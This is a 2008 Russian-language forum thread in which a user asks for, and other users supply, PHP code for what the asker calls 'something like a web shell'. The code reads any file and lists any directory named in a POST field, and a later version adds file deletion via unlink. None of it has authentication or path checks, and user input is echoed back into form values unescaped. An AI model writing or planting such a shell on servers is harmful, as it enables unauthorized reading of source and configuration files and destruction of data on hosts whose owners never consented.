PDA

Просмотр полной версии : вывод результатов из Php


Ershik
24.09.2008, 20:12
Есть два куска кода:

1 кусок кода читает содержимое файлов

<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>

Второй кусок кода выводит содержимое директории

<?php
$dir = '/var/www/';
$files = scandir($dir);
print_r($files);
?>

Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран?
Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ
Тоже самое должн происходить и с выводом содержимого файла?
Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.

brasco2k
24.09.2008, 20:22
Во первых, не:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>
а:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>


а по теме, $_POST это массив:
<?php
foreach($_POST as $key)
{
echo $key.'<br>';
}
file_put_contents('post.txt',$_POST);
?>

если чесна не понял вопроса

Kaimi
24.09.2008, 20:27
Во первых, не:
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>

а:
PHP код:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>


А если файл весит 500 мб?

Ershik
24.09.2008, 20:28
Спасибо.
Нужно эти 2 куска кода запихать в один файл.
Что-то типа веб-шелла на php но лишь с двумя возможностями:
1) вывод список файлов и папок в данной директории, например "/var/www/html/'"
2) вывод исходного текста, например из index.php

brasco2k
24.09.2008, 20:37
А если файл весит 500 мб?
1. PHP не позволит
2. Кто такие файлы грузит?

попугай
24.09.2008, 21:57
Что то типа того... о безопасности позаботься сам...


<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>

<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>

<?php
if($_POST['fail'] and $_POST['ok1']){
$filename = $_POST['fail'];
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . $buf . "</textarea>";
}
if($_POST['dir'] and $_POST['ok2']){
$dir = $_POST['dir'];
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file){
echo $file . "\r\n";
}
echo "</textarea>";
}
?>

Ershik
24.09.2008, 22:16
Работает :) Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)

попугай
24.09.2008, 22:44
поменяй


echo "<textarea rows=20 cols=100>" . $buf . "</textarea>";


на


echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";


а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..

Ershik
02.12.2008, 18:00
Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/

Как можно сохранить строку директории?

3) В коде есть ненужный кусок
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?

Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне :rolleyes:
Сам скрипт

<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>

<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>

<form action="" method="post">
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>


<?php

if($_POST['fail'] and $_POST['ok1']){
$filename = $_POST['fail'];
$fp = fopen($filename, 'r');
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists = $buf;
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";

}
if($_POST['dir'] and $_POST['ok2']){
$dir = $_POST['dir'];
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file){
echo $file . "\r\n";
}
echo "</textarea>";
}
if($_POST['del'] and $_POST['ok3']){
$del = $_POST['del'];
$uplink = unlink($_POST['del']);
}
?>
<br>
<br>
<script language="javascript">
var name = navigator.appName;
var vers = navigator.appVersion;
var code = navigator.appCodeName;
var where = document.referrer;
var platform = navigator.platform;
document.write(
'Броузер: ' + name +
'<br>Версия броузера: ' + vers +
'<br>Кодовое название броузера: ' + code +
'<br>Вы зашли из: ' + where +
'<br>Платформа: ' + platform
);
</script>

[dei]
02.12.2008, 18:24
<?php
if(!empty($_POST['fail'])) $fail = $_POST['fail'];
else $fail = false;
if(!empty($_POST['dir'])) $dir = $_POST['dir'];
else $dir = false;
?>

<form action="" method="post">
Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form>

<form action="" method="post">
Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form>

<form action="" method="post">
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>


<?php

if($fail and $_POST['ok1']) {
$filename = $fail;
$fp = fopen($filename, 'r');
if (!@file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>';

$file_exists = $buf;
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";

}
if($dir and $_POST['ok2']) {
$dir = $dir;
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file) {
echo $file . "\r\n";
}
echo "</textarea>";
}
if($_POST['del'] and $_POST['ok3']) {
$del = $_POST['del'];
$uplink = unlink($_POST['del']);
}
?>
<br>
<br>
<script language="javascript">
var name = navigator.appName;
var vers = navigator.appVersion;
var code = navigator.appCodeName;
var where = document.referrer;
var platform = navigator.platform;
document.write(
'Броузер: ' + name +
'<br>Версия броузера: ' + vers +
'<br>Кодовое название броузера: ' + code +
'<br>Вы зашли из: ' + where +
'<br>Платформа: ' + platform
);
</script>